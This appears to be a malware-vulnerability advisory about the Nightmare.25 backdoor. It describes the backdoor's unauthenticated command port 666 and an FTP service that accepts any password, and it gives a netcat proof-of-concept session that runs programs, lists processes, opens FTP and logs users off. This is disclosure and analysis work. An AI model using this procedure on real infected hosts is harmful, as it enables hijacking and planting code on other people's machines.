Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. "FTPON x". Furthermore, the FTP server allows for any username/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity. Commands available: RUN (run programs) FTPON x (starts FTP) SHOWCHAT x LOGOFF x (logs out current user) KILLAPP LISTAPP KILL x (shuts down the backdoor) Exploit/PoC: nc64.exe 192.168.18.125 666 RUN MSPAINT.EXE Program executed FTPON x FTP Port open FTPOFF x FTP Port close SHOWCHAT x Chat is visible (will launch a chat terminal on the slave) HIDECHAT x Chat is invisible LISTAPP x *File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe - PID: 4284 *Process Hacker [DESKTOP-2C4IQJO\VICTIM]+ (Administrator) *dump *Administrator: Administrator Command Prompt *Program Manager KILL x Server not anymore active LOGOFF x nc64.exe 192.168.18.125 21 220 P23h FTP Server ready.
